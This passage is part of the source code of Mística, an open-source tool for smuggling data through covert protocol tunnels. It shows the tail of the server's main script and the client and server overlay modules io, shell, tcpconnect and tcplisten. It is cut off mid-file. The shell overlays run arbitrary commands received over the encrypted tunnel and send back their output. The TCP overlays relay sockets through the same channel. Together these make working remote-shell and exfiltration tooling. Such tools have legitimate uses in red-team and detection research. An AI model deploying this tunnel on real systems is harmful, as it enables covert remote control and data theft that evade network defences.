rawdata == b'':  # assume EOF\n                        self._LOGGING_ and self.logger.info(\"[MísticaServer] Input is dead\")\n                        self.Router.join()\n\n                if rawdata and len(rawdata) > 0 and overlay.hasInput:\n                    overlay.inbox.put(Message('input', 0, 'overlay', overlay.id, MessageType.STREAM, rawdata))\n            except KeyboardInterrupt:\n                self._LOGGING_ and self.logger.info(\"[MísticaServer] CTRL+C detected. Passing to overlay\")\n                overlay.inbox.put(Message('input',\n                                          0,\n                                          self.Router.overlayModules[0].name,\n                                          self.Router.overlayModules[0].id,\n                                          MessageType.SIGNAL,\n                                          SignalType.TERMINATE))\n                break\n        return\n\n    def run(self):\n\n        # If the mode is single-handler only a wrapper module and overlay module is used\n        if self.mode == MisticaMode.SINGLE:\n\n            # Launch wrap_module\n            wmitem = self.getModuleInstance(ModuleType.WRAP_MODULE, self.wrappername, self.args[\"wrapper_args\"])\n            wmitem.start()\n            self.Router.wrapModules.append(wmitem)\n\n            # Check wrap_server dependency of wrap_module and launch it\n            if not self.dependencyLaunched(wmitem):\n                self.procid += 1\n                wsitem = wmitem.SERVER_CLASS(self.procid, self.args[\"wrap_server_args\"], self.logger)\n                wsitem.start()\n                self.Router.wrapServers.append(wsitem)\n            else:\n                wsitem = [elem for elem in self.Router.wrapServers if wsname == wmitem.SERVER_CLASS.NAME][0]               \n\n            # add wrap_module to wrap_server list\n            wsitem.addWrapModule(wmitem)\n\n            # Launch overlay module\n            omitem = self.getModuleInstance(ModuleType.OVERLAY, self.overlayname, self.args[\"overlay_args\"])\n            omitem.start()\n            self.Router.overlayModules.append(omitem)\n            targetoverlay = self.Router.overlayModules[0]\n            if targetoverlay.hasInput:\n                self.captureInput(targetoverlay)\n            self.Router.join()\n            self._LOGGING_ and self.logger.debug(\"[MísticaServer] Terminated\")\n        elif self.mode == MisticaMode.MULTI:\n            # Launch prompt etc.\n            # Before registering a wrapper or an overlay, we must make sure that there is no other\n            # module with incompatible parameters (e.g 2 DNS base64-based wrap_modules)\n            self.Router.inbox.put(Message(\"Mistica\", 0, \"sotp\", 0, MessageType.SIGNAL, SignalType.TERMINATE))\n            print(\"Multi-handler mode is not implemented yet! use -h\")\n            exit(0)\n\n\nif __name__ == '__main__':\n    fortunes = [\"The Last Protocol Bender.\",\n                \"Your friendly data smuggler.\",\n                \"Anything is a tunnel if you're brave enough.\",\n                \"It's a wrap!\",\n                \"The Overlay Overlord.\"]\n    parser = argparse.ArgumentParser(description=f\"Mistica server. {choice(fortunes)} Run without parameters to launch multi-handler mode.\")\n    parser.add_argument('-k', \"--key\", action='store', default=\"\", required=False, help=\"RC4 key used to encrypt the comunications\")\n    parser.add_argument(\"-l\", \"--list\", action='store', required=False, help=\"Lists modules or parameters. Options are: all, overlays, wrappers, <overlay name>, <wrapper name>\")\n    parser.add_argument(\"-m\", \"--modules\", action='store', required=False, help=\"Module pair in single-handler mode. format: 'overlay:wrapper'\")\n    parser.add_argument(\"-w\", \"--wrapper-args\", action='store', required=False, default='', help=\"args for the selected overlay module (Single-handler mode)\")\n    parser.add_argument(\"-o\", \"--overlay-args\", action='store', required=False, default='', help=\"args for the selected wrapper module (Single-handler mode)\")\n    parser.add_argument(\"-s\", \"--wrap-server-args\", action='store', required=False, default='', help=\"args for the selected wrap server (Single-handler mode)\")\n    parser.add_argument('-v', '--verbose', action='count', default=0, help=\"Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)\")\n    \n\n    args = parser.parse_args()\n    moduleargs = {}\n\n    if args.list:\n        # list and quit\n        if args.list == \"all\" or args.list == \"overlays\" or args.list == \"wrappers\":\n            print(Prompt.listModules(\"server\", args.list))\n        else:\n            Prompt.listParameters(\"server\", args.list)\n        exit(0)\n    elif args.modules:\n        if args.key == \"\":\n            print(\"You must suply a key for RC4 encryption. Use -k or --key\")\n            exit(1)\n        moduleargs[\"overlay\"] = args.modules.partition(\":\")[0]\n        moduleargs[\"wrapper\"] = args.modules.partition(\":\")[2]\n        if Prompt.findModule(\"server\", moduleargs[\"overlay\"]) is None:\n            print(f\"Invalid overlay module {moduleargs['overlay']}. Please specify a valid module.\")\n            exit(1)\n        if Prompt.findModule(\"server\", moduleargs[\"wrapper\"]) is None:\n            print(f\"Invalid wrap module {moduleargs['wrapper']}. Please specify a valid module.\")\n            exit(1)\n        moduleargs[\"overlay_args\"] = args.overlay_args\n        moduleargs[\"wrapper_args\"] = args.wrapper_args\n        moduleargs[\"wrap_server_args\"] = args.wrap_server_args\n        mode = MisticaMode.SINGLE\n    elif args.overlay_args:\n        print(\"Error: Overlay parameters without overlay module. Please use -m\")\n        exit(1)\n    elif args.wrapper_args:\n        print(\"Error: Wrapper parameters without wrapper module. Please use -m\")\n        exit(1)\n    else:\n        mode = MisticaMode.MULTI\n\n    s = MisticaServer(mode, args.key, args.verbose, moduleargs)\n    s.run()\n"
  },
  {
    "path": "overlay/client/__init__.py",
    "content": "__all__ = [\"io\", \"shell\", \"tcpconnect\", \"tcplisten\"]\n"
  },
  {
    "path": "overlay/client/io.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom sotp.misticathread import ClientOverlay\nfrom sys import stdout\n\nclass io(ClientOverlay):\n\n    NAME = \"io\"\n    CONFIG = {\n        \"prog\": NAME,\n        \"description\": \"Reads from stdin, sends through SOTP connection. Reads from SOTP connection, prints to stdout\",\n        \"args\": [\n            {\n                \"--tag\": {\n                    \"help\": \"Tag used by the overlay\",\n                    \"nargs\": 1,\n                    \"required\": False,\n                    \"default\": [\"0x1010\"]\n                }\n            }\n        ]\n    }\n\n    def __init__(self, qsotp, qdata, args, logger=None):\n        ClientOverlay.__init__(self,type(self).__name__,qsotp,qdata,args,logger)\n        self.name = type(self).__name__\n        # Setting input capture\n        self.hasInput = True\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n\n    def processInputStream(self, content):\n        self._LOGGING_ and self.logger.debug(f\"[{self.name}] Read from STDIN: {len(content)} bytes\")\n        return content\n\n    def processSOTPStream(self, content):\n        self._LOGGING_ and self.logger.debug(f\"[{self.name}] Write to STDOUT: {len(content)} bytes\")\n        stdout.buffer.write(content)\n        stdout.flush()"
  },
  {
    "path": "overlay/client/shell.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom sotp.misticathread import ClientOverlay\nfrom subprocess import Popen,PIPE,STDOUT\nfrom platform import system\n\n\nclass shell(ClientOverlay):\n\n    NAME = \"shell\"\n    CONFIG = {\n        \"prog\": NAME,\n        \"description\": \"Executes commands recieved through the SOTP connection and returns the output. Compatible with io module.\",\n        \"args\": [\n            {\n                \"--tag\": {\n                \"help\": \"Tag used by the overlay at the server\",\n                \"nargs\": 1,\n                \"required\": False,\n                \"default\": [\"0x1010\"]\n                }\n            }\n        ]\n    }\n\n\n    def __init__(self, qsotp, qdata, args, logger=None):\n        ClientOverlay.__init__(self,type(self).__name__,qsotp,qdata,args,logger)\n        self.name = type(self).__name__\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n\n    def processSOTPStream(self, content):\n        data = b\"\"\n        try:\n            # Windows by default pass Popen data to CreateProcess() Winapi\n            if system() == \"Windows\":\n                commandline = \"cmd /c \" + str(content,\"utf-8\")\n            else:\n                commandline = str(content,\"utf-8\")\n\n            p = Popen(commandline.split(), stdout=PIPE, stderr=STDOUT)\n            data = p.communicate()[0]\n        except Exception as e:\n            self._LOGGING_ and self.logger.exception(f\"[{self.name}] Exception in shell: {str(e)}\")\n        finally:\n            return data if (len(data) > 0) else None"
  },
  {
    "path": "overlay/client/tcpconnect.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística\n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom sotp.misticathread import ClientOverlay\nfrom sys import stdout\nimport socket\nfrom threading import Thread, Lock\nfrom utils.messaging import Message, MessageType, SignalType\nimport select\n\nclass tcpconnect(ClientOverlay):\n\n    NAME = \"tcpconnect\"\n    CONFIG = {\n        \"prog\": NAME,\n        \"description\": \"Connects to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.\",\n        \"args\": [\n            {\n                \"--tag\": {\n                    \"help\": \"Tag used by the overlay\",\n                    \"nargs\": 1,\n                    \"required\": False,\n                    \"default\": [\"0x1010\"]\n                }\n            },\n            {\n                \"--address\": {\n                    \"help\": \"Address where the module will connect\",\n                    \"nargs\": 1,\n                    \"required\": True,\n                    \"action\": \"store\"\n                }\n            },\n            {\n                \"--port\": {\n                    \"help\": \"Port where the module will connect\",\n                    \"nargs\": 1,\n                    \"required\": True,\n                    \"action\": \"store\"\n                }\n            },\n                {\n                    \"--persist\": {\n                        \"help\": \"Retries the TCP connection, if closed\",\n                        \"action\": \"store_true\"\n                    }\n                },\n                {\n                    \"--wait\": {\n                        \"help\": \"Waits until data is received through the SOTP channel to connect\",\n                        \"action\": \"store_true\"\n                    }\n                }\n        ]\n    }\n\n\n    def __init__(self, qsotp, mode, args, logger):\n        ClientOverlay.__init__(self, type(self).__name__, qsotp, mode, args, logger)\n        self.name = type(self).__name__\n        self.buffer = []\n        # Setting input capture\n        self.hasInput = False\n        self.id = 0\n        self.timeout = 1\n        self.started = False\n        self.lock = Lock()\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n        self.tcpthread = Thread(target=self.captureTcpStream)\n        self.lock.acquire()\n        if not self.wait:\n            self.tcpthread.start()\n            self.started = True\n\n    # Overriden\n    def parseArguments(self, args):\n        self.port = int(args.port[0])\n        self.address = args.address[0]\n        self.persist = args.persist\n        self.wait = args.wait\n\n    def captureTcpStream(self):\n    \t# Create socket and connect\n        while not self.exit:\n            try:\n                self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                self.socket.connect((self.address, self.port))\n            except Exception as e:\n                print(e)\n                self.inbox.put(Message('input',\n                                          0,\n                                          self.name,\n                                          self.id,\n                                          MessageType.SIGNAL,\n                                          SignalType.TERMINATE))\n                if self.lock.locked():\n                    self.lock.release()\n                return\n            if self.lock.locked():\n                self.lock.release()\n            while not self.exit:\n                try:\n                    # Block on socket until Timeout\n                    result = select.select([self.socket], [], [], self.timeout)\n                    if result[0]:\n                        rawdata = self.socket.recv(4096)\n                        if rawdata and len(rawdata) > 0:\n                            self.inbox.put(Message('input',\n                                                      0,\n                                                      'overlay',\n                                                      self.id,\n                                                      MessageType.STREAM,\n                                                      rawdata))\n                        elif not self.persist:\n                            self._LOGGING_ and self.logger.debug(f\"[{self.name}] TCP communication broken. Sending Terminate signal to overlay\")\n                            self.inbox.put(Message('input',\n                                                      0,\n                                                      self.name,\n                                                      self.id,\n                                                      MessageType.SIGNAL,\n                                                      SignalType.TERMINATE))\n                            return\n                        else:\n                            self.socket.close()\n                            break\n                except:\n                    self.inbox.put(Message('input',\n                                              0,\n                                              self.name,\n                                              self.id,\n                                              MessageType.SIGNAL,\n                                              SignalType.TERMINATE))\n                    return\n        return\n\n    def processInputStream(self, content):\n        self._LOGGING_ and self.logger.debug(f\"[{self.name}] Read from socket: {len(content)}\")\n        return content\n\n    def processSOTPStream(self, content):\n        self._LOGGING_ and self.logger.debug(f\"[{self.name}] Write to socket: {len(content)}\")\n        if not self.started:\n            self.tcpthread.start()\n            self.lock.acquire()\n            self.started = True\n        try:\n            self.socket.send(content)\n        except Exception as e:\n            print(e)\n"
  },
  {
    "path": "overlay/client/tcplisten.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística\n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom sotp.misticathread import ClientOverlay\nfrom sys import stdout\nimport socket\nfrom threading import Thread\nfrom utils.messaging import Message, MessageType, SignalType\nimport select\n\nclass tcplisten(ClientOverlay):\n\n    NAME = \"tcplisten\"\n    CONFIG = {\n        \"prog\": NAME,\n        \"description\": \"Binds to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.\",\n        \"args\": [\n            {\n                \"--tag\": {\n                    \"help\": \"Tag used by the overlay\",\n                    \"nargs\": 1,\n                    \"required\": False,\n                    \"default\": [\"0x1010\"]\n                }\n            },\n            {\n                \"--address\": {\n                    \"help\": \"Address where the module will bind\",\n                    \"nargs\": 1,\n                    \"required\": True,\n                    \"action\": \"store\"\n                }\n            },\n            {\n                \"--port\": {\n                    \"help\": \"Port where the module will bind\",\n                    \"nargs\": 1,\n                    \"required\": True,\n                    \"action\": \"store\"\n                }\n            },\n                {\n                    \"--persist\": {\n                        \"help\": \"Keeps the port open after closing the TCP connection\",\n                        \"action\": \"store_true\"\n                    }\n                }\n        ]\n    }\n\n\n    def __init__(self, qsotp, mode, args, logger):\n        ClientOverlay.__init__(self, type(self).__name__, qsotp, mode, args, logger)\n        self.name = type(self).__name__\n        self.buffer = []\n        # Setting input capture\n        self.conn = None\n        self.hasInput = False\n        self.id = 0\n        self.timeout = 1\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n        self.tcpthread = Thread(target=self.captureTcpStream)\n        self.tcpthread.start()\n\n    # Overriden\n    def parseArguments(self, args):\n        self.port = int(args.port[0])\n        self.address = args.address[0]\n        self.persist = args.persist\n\n    def captureTcpStream(self):\n    \t# Create socket and listen\n        while self.conn is None and not self.exit:\n            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            self.socket.settimeout(self.timeout)\n            try:\n\n                self.socket.bind((self.address, self.port))\n                self.socket.listen(0)\n                self.conn, self.remoteaddr = self.socket.accept()\n\n            except socket.timeout as te:\n                continue  # Allows to check if the application has exited to finish the thread\n            except Exception as e:\n                print(e)\n                self.inbox.put(Message('input',\n                                          0,\n                                          'overlay',\n                                          self.id,\n                                          MessageType.SIGNAL,\n                                          SignalType.TERMINATE))\n                return\n            # Empty buffered data, if any\n            while self.buffer and not self.exit:\n                self.conn.send(self.buffer.pop(0))\n            # socket loop\n            while not self.exit:\n                try:\n                    # Block on socket until Timeout\n                    result = select.select([self.conn], [], [], self.timeout)\n                    if result[0]:\n                        rawdata = self.conn.recv(4096)\n                        if rawdata and len(rawdata) > 0:\n                            self.inbox.put(Message('input',\n                                                      0,\n                                                      'overlay',\n                                                      self.id,\n                                                      MessageType.STREAM,\n                                                      rawdata))\n                        elif not self.persist:\n                            self._LOGGING_ and self.logger.debug(f\"[{self.name}] TCP communication broken. Sending Terminate signal to overlay\")\n                            self.inbox.put(Message('input',\n                                                      0,\n                                                      self.name,\n                                                      self.id,\n                                                      MessageType.SIGNAL,\n                                                      SignalType.TERMINATE))\n                            return\n                        else:\n                            self.conn.close()\n                            self.conn = None\n                            break\n                except:\n                    self.inbox.put(Message('input',\n                                              0,\n                                              self.name,\n                                              self.id,\n                                              MessageType.SIGNAL,\n                                              SignalType.TERMINATE))\n        return\n\n    def processInputStream(self, content):\n        self._LOGGING_ and self.logger.debug(f\"[{self.name}] Read from socket: {len(content)}\")\n        return content\n\n    def processSOTPStream(self, content):\n        self._LOGGING_ and self.logger.debug(f\"[{self.name}] Write to socket: {len(content)}\")\n        if self.conn is None:\n            self.buffer.append(content) # wait until a connection happens\n        else:\n            self.conn.send(content)\n"
  },
  {
    "path": "overlay/server/__init__.py",
    "content": "__all__ = [\"io\", \"shell\", \"tcpconnect\", \"tcplisten\"]"
  },
  {
    "path": "overlay/server/io.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\n\nfrom sotp.misticathread import ServerOverlay\nfrom sys import stdout\n\n\nclass io(ServerOverlay):\n    \n    NAME = \"io\"\n    CONFIG = {\n        \"prog\": NAME,\n        \"description\": \"Reads from stdin, sends through SOTP connection. Reads from SOTP connection, prints to stdout\",\n        \"args\": [\n            {\n                \"--tag\": {\n                    \"help\": \"Tag used by the overlay\",\n                    \"nargs\": 1,\n                    \"required\": False,\n                    \"default\": [\"0x1010\"]\n                }\n            }\n        ]\n    }\n\n    def __init__(self, id, qsotp, mode, args, logger):\n        ServerOverlay.__init__(self, type(self).__name__, id, qsotp, mode, args, logger)\n        self.name = type(self).__name__\n        self.buffer = []\n        # Setting input capture\n        self.hasInput = True\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n\n    def processInputStream(self, content):\n        self._LOGGING_ and self.logger.debug(f\"[{self.name}] Read from STDIN: {len(content)}\")\n        return content\n\n    def processSOTPStream(self, content):\n        self._LOGGING_ and self.logger.debug(f\"[{self.name}] Write to STDOUT: {len(content)}\")\n        stdout.buffer.write(content)\n        stdout.flush()\n\n    # overriden for pipe scenarios\n    def handleInputStream(self, msg):\n        content = self.processInputStream(msg.content)\n        # By default, only one worker. Must be overriden for more\n        # In a multi-worker scenario inputs must be mapped to workers\n        if self.workers:\n            return self.streamToSOTPWorker(content, self.workers[0].id)\n\n        self.buffer.append(content)\n\n    # overriden for pipe scenarios\n    def addWorker(self, worker):\n        if not self.workers:  # empty\n            self.workers.append(worker)\n            # check if there's some buffered data and pass it\n            while self.buffer:\n                self.workers[0].datainbox.put(self.streamToSOTPWorker(self.buffer.pop(0),\n                                                                      self.workers[0].id))\n        else:\n            raise(f\"Cannot Register worker on overlay module. Module {self.name} only accepts one worker\")\n"
  },
  {
    "path": "overlay/server/shell.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom sotp.misticathread import ServerOverlay\nfrom subprocess import Popen,PIPE,STDOUT\nfrom platform import system\n\nclass shell(ServerOverlay):\n\n    NAME = \"shell\"\n    CONFIG = {\n        \"prog\": NAME,\n        \"description\": \"Executes commands recieved through the SOTP connection and returns the output. Compatible with io module.\",\n        \"args\": [\n            {\n                \"--tag\": {\n                \"help\": \"Tag used by the overlay at the server\",\n                \"nargs\": 1,\n                \"required\": False,\n                \"default\": [\"0x1010\"]\n                }\n            }\n        ]\n    }\n\n    \n    def __init__(self, id, qsotp, mode, args, logger):\n        ServerOverlay.__init__(self, type(self).__name__, id, qsotp, mode, args, logger)\n        self.name = type(self).__name__\n        self.hasInput = False\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n\n    def processSOTPStream(self, content):\n        data = b\"\"\n        try:\n            # Windows by default pass Popen data to CreateProcess() Winapi\n            if system() == \"Windows\":\n                commandline = \"cmd /c \" + str(content,\"utf-8\")\n            else:\n                commandline = str(content,\"utf-8\")\n\n            p = Popen(commandline.split(), stdout=PIPE, stderr=STDOUT)\n            data = p.communicate()[0]\n        except Exception as e:\n            self._LOGGING_ and self.logger.exception(f\"[{self.name}] Exception in shell: {str(e)}\")\n        finally:\n            # By default, only one worker.\n            (len(data) > 0) and self.workers[0].datainbox.put(self.streamToSOTPWorker(data,self.workers[0].id))\n"
  },
  {
    "path": "overlay/server/tcpconnect.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística\n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom sotp.misticathread import ServerOverlay\nfrom sys import stdout\nimport socket\nfrom threading import Thread, Lock\nfrom utils.messaging import Message, MessageType, SignalType\nimport select\n\n\nclass tcpconnect(ServerOverlay):\n\n    NAME = \"tcpconnect\"\n    CONFIG = {\n        \"prog\": NAME,\n        \"description\": \"Connects to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.\",\n        \"args\": [\n            {\n                \"--tag\": {\n                    \"help\": \"Tag used by the overlay\",\n                    \"nargs\": 1,\n                    \"required\": False,\n                    \"default\": [\"0x1010\"]\n                }\n            },\n            {\n                \"--address\": {\n                    \"help\": \"Address where the module will connect\",\n                    \"nargs\": 1,\n                    \"required\": True,\n                    \"action\": \"store\"\n                }\n            },\n            {\n                \"--port\": {\n                    \"help\": \"Port where the module will connect\",\n                    \"nargs\": 1,\n                    \"required\": True,\n                    \"action\": \"store\"\n                }\n            },\n                {\n                    \"--persist\": {\n                        \"help\": \"Retries the TCP connection, if closed\",\n                        \"action\": \"store_true\"\n                    }\n                },\n                {\n                    \"--wait\": {\n                        \"help\": \"Waits until data is received through the SOTP channel to connect\",\n                        \"action\": \"store_true\"\n                    }\n                }\n        ]\n    }\n    \n    def __init__(self, id, qsotp, mode, args, logger):\n        ServerOverlay.__init__(self, type(self).__name__, id, qsotp, mode, args, logger)\n        self.name = type(self).__name__\n        self.buffer = []\n        self.timeout = 1\n        self.started = False\n        self.lock = Lock()\n        # Setting input capture\n        self.hasInput = False\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n        self.tcpthread = Thread(target=self.captureTcpStream)\n        self.lock.acquire()\n        if not self.wait:\n            self.tcpthread.start()\n            self.started = True\n\n    # Overriden\n    def parseArguments(self, args):\n        self.port = int(args.port[0])\n        self.address = args.address[0]\n        self.persist = args.persist\n        self.wait = args.wait\n\n    def captureTcpStream(self):\n    \t# Create socket and connect\n        while not self.exit:\n            try:\n                self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                self.socket.connect((self.address, self.port))\n            except Exception as e:\n                print(e)\n                self.inbox.put(Message('input',\n                                          0,\n                                          self.name,\n                                          self.id,\n                                          MessageType.SIGNAL,\n                                          SignalType.TERMINATE))\n                if self.lock.locked():\n                    self.lock.release()\n                return\n            if self.lock.locked():\n                self.lock.release()\n            while not self.exit:\n                try:\n                    # Block on socket\n                    result = select.select([self.socket], [], [], self.timeout)\n                    if result[0]:\n                        rawdata = self.socket.recv(4096)\n                        if rawdata and len(rawdata) > 0:\n                            self.inbox.put(Message('input',\n                                                      0,\n                                                      'overlay',\n                                                      self.id,\n                                                      MessageType.STREAM,\n                                                      rawdata))\n                        elif not self.persist:\n                            self._LOGGING_ and self.logger.debug(f\"[{self.name}] TCP communication broken. Sending Terminate signal to overlay\")\n                            self.inbox.put(Message('input',\n                                                      0,\n                                                      self.name,\n                                                      self.id,\n                                                      MessageType.SIGNAL,\n                                                      SignalType.TERMINATE))\n                            return\n                        else:\n                            self.socket.close()\n                            break\n                except Exception as e:\n                    self.inbox.put(Message('input',\n                                              0,\n                                              self.name,\n                                              self.id,\n                                              MessageType.SIGNAL,\n                                              SignalType.TERMINATE))\n                    return\n        return\n\n    def processInputStream(self, content):\n        self._LOGGING_ and self.logger.debug(f\"[{self.name}] Read from socket: {len(content)}\")\n        return content\n\n    def processSOTPStream(self, content):\n        self._LOGGING_ and self.logger.debug(f\"[{self.name}] Write to socket: {len(content)}\")\n        if not self.started:\n            self.tcpthread.start()\n            self.lock.acquire()\n            self.started = True\n        try:\n            self.socket.send(content)\n        except Exception as e:\n            print(e)\n\n    # overriden for pipe scenarios\n    def handleInputStream(self, msg):\n        content = self.processInputStream(msg.content)\n        # By default, only one worker. Must be overriden for more\n        # In a multi-worker scenario inputs must be mapped to workers\n        if self.workers:\n            return self.streamToSOTPWorker(content, self.workers[0].id)\n\n        self.buffer.append(content)\n\n    # overriden for pipe scenarios\n    def addWorker(self, worker):\n        if not self.workers:  # empty\n            self.workers.append(worker)\n            # check if there's some buffered data and pass it\n            while self.buffer:\n                self.workers[0].datainbox.put(self.streamToSOTPWorker(self.buffer.pop(0),\n                                                                      self.workers[0].id))\n        else:\n            raise(f\"Cannot Register worker on overlay module. Module {self.name} only accepts one worker\")\n"
  },
  {
    "path": "overlay/server/tcplisten.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística\n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom sotp.misticathread import ServerOverlay\nfrom sys import stdout\nimport socket\nfrom threading import Thread\nfrom utils.messaging import Message, MessageType, SignalType\nimport select\n\n\nclass tcplisten(ServerOverlay):\n    \n    NAME = \"tcplisten\"\n    CONFIG = {\n        \"prog\": NAME,\n        \"description\": \"Binds to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.\",\n        \"args\": [\n            {\n                \"--tag\": {\n                    \"help\": \"Tag used by the overlay\",\n                    \"nargs\": 1,\n                    \"required\": False,\n                    \"default\": [\"0x1010\"]\n                }\n            },\n            {\n                \"--address\": {\n                    \"help\": \"Address where the module will bind\",\n                    \"nargs\": 1,\n                    \"required\": True,\n                    \"action\": \"store\"\n                }\n            },\n            {\n                \"--port\": {\n                    \"help\": \"Port where the module will bind\",\n                    \"nargs\": 1,\n                    \"required\": True,\n                    \"action\": \"store\"\n                }\n            },\n                {\n                    \"--persist\": {\n                        \"help\": \"Keeps the port open after closing the TCP connection\",\n                        \"action\": \"store_true\"\n                    }\n                }\n        ]\n    }\n\n    \n    def __init__(self, id, qsotp, mode, args, logger):\n        ServerOverlay.__init__(self, type(self).__name__, id, qsotp, mode, args, logger)\n        self.name = type(self).__name__\n        self.buffer = []\n        self.buffer2 = []\n        self.conn = None\n        self.timeout = 1\n        # Setting input capture\n        self.hasInput = False\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n        self.tcpthread = Thread(target=self.captureTcpStream)\n        self.tcpthread.start()\n\n    # Overriden\n    def parseArguments(self, args):\n        self.port = int(args.port[0])\n        self.address = args.address[0]\n        self.persist = args.persist\n\n    def captureTcpStream(self):\n    \t# Create socket and listen\n        while self.conn is None and not self.exit:\n\n            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            self.socket.settimeout(self.timeout)\n            try:\n                self.socket.bind((self.address, self.port))\n                self.socket.listen(0)\n                self.conn, self.remoteaddr = self.socket.accept()\n\n            except socket.timeout as te:\n                continue  # Allows to check if the application has exited to finish 